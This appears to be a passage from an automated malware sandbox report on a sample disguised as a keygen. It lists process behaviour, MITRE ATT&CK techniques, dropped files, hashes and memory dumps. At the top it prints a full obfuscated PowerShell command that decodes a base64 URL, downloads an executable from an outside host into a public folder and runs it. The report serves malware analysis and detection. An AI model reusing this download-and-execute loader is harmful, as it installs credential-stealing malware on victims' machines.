"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4704

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\sqlite3.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\lyp.exe

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C:\Users\Public\lyp.exe

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C:\Users\Public\lyp.exe

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C:\Users\Public\yro.exe

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C:\Users\Public\yro.exe

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C:\Users\Public\yro.exe

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C:\Users\Public\zdf.exe

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C:\Users\Public\zdf.exe

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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memory/1148-103-0x00000000088E0000-0x00000000088E1000-memory.dmp

Filesize
4KB

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memory/1148-45-0x00000000077E0000-0x00000000077E1000-memory.dmp

Filesize
4KB

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memory/1148-104-0x0000000009EB0000-0x0000000009EB1000-memory.dmp

Filesize
4KB

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memory/1148-41-0x0000000006F30000-0x0000000006F31000-memory.dmp

Filesize
4KB

Download
memory/1148-62-0x0000000007D50000-0x0000000007D51000-memory.dmp

Filesize
4KB

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memory/1148-102-0x0000000009030000-0x0000000009031000-memory.dmp

Filesize
4KB

Download
memory/1148-39-0x0000000004700000-0x0000000004701000-memory.dmp

Filesize
4KB

Download
memory/1148-42-0x0000000006FA0000-0x0000000006FA1000-memory.dmp

Filesize
4KB

Download
memory/1148-58-0x0000000007CE0000-0x0000000007CE1000-memory.dmp

Filesize
4KB

Download
memory/1148-30-0x00000000071B0000-0x00000000071B1000-memory.dmp

Filesize
4KB

Download
memory/1148-27-0x0000000006A80000-0x0000000006A81000-memory.dmp

Filesize
4KB

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memory/1148-14-0x0000000000000000-mapping.dmp

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memory/1148-25-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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memory/1636-0-0x0000000000000000-mapping.dmp

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memory/1668-162-0x0000000000000000-mapping.dmp

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memory/2060-9-0x0000000000000000-mapping.dmp

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memory/2160-154-0x0000000000000000-mapping.dmp

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memory/2208-3-0x0000000000000000-mapping.dmp

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memory/2208-2-0x0000000000000000-mapping.dmp

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memory/2412-34-0x0000000000000000-mapping.dmp

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memory/2820-7-0x0000000000000000-mapping.dmp

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memory/3256-24-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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memory/3256-75-0x00000000094D0000-0x00000000094D1000-memory.dmp

Filesize
4KB

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memory/3256-15-0x0000000000000000-mapping.dmp

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memory/3256-78-0x0000000008A70000-0x0000000008A71000-memory.dmp

Filesize
4KB

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memory/3272-35-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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memory/3272-33-0x0000000000000000-mapping.dmp

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memory/3448-13-0x0000000000000000-mapping.dmp

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memory/3772-23-0x0000000000000000-mapping.dmp

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memory/3784-54-0x00000000075E0000-0x00000000075E1000-memory.dmp

Filesize
4KB

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memory/3784-26-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

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memory/3784-19-0x0000000000000000-mapping.dmp

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memory/3980-10-0x0000000000000000-mapping.dmp

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memory/4072-207-0x0000000000000000-mapping.dmp

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memory/4160-182-0x000000000041A684-mapping.dmp

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memory/4300-123-0x0000000000000000-mapping.dmp

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memory/4312-124-0x0000000000000000-mapping.dmp

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memory/4368-139-0x0000000000417A8B-mapping.dmp

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memory/4368-142-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4368-137-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4376-141-0x000000000041A684-mapping.dmp

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memory/4376-138-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/4376-144-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4420-136-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4420-134-0x000000000043FCC3-mapping.dmp

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memory/4420-133-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4428-212-0x0000000000000000-mapping.dmp

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memory/4456-67-0x0000000000000000-mapping.dmp

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memory/4520-69-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

Download
memory/4520-68-0x0000000000000000-mapping.dmp

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memory/4616-72-0x0000000000000000-mapping.dmp

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memory/4700-164-0x0000000000000000-mapping.dmp

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memory/4704-74-0x0000000000000000-mapping.dmp

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memory/4704-85-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

Download
memory/5028-173-0x000000000043FCC3-mapping.dmp

Download
memory/5028-176-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/5036-177-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/5036-172-0x0000000000417A8B-mapping.dmp

Download
memory/5052-108-0x0000000000000000-mapping.dmp

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memory/5056-213-0x0000000000000000-mapping.dmp

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memory/5092-200-0x0000000005B60000-0x0000000005C10000-memory.dmp

Filesize
704KB

Download
memory/5092-113-0x0000000000000000-mapping.dmp

Download
memory/5092-118-0x0000000070130000-0x000000007081E000-memory.dmp

Filesize
6.9MB

Download
memory/5092-206-0x0000000005CB0000-0x0000000005CB1000-memory.dmp

Filesize
4KB

Download
memory/5092-121-0x0000000000D40000-0x0000000000D41000-memory.dmp

Filesize
4KB

Download
memory/5092-214-0x0000000006950000-0x000000000695D000-memory.dmp

Filesize
52KB

Download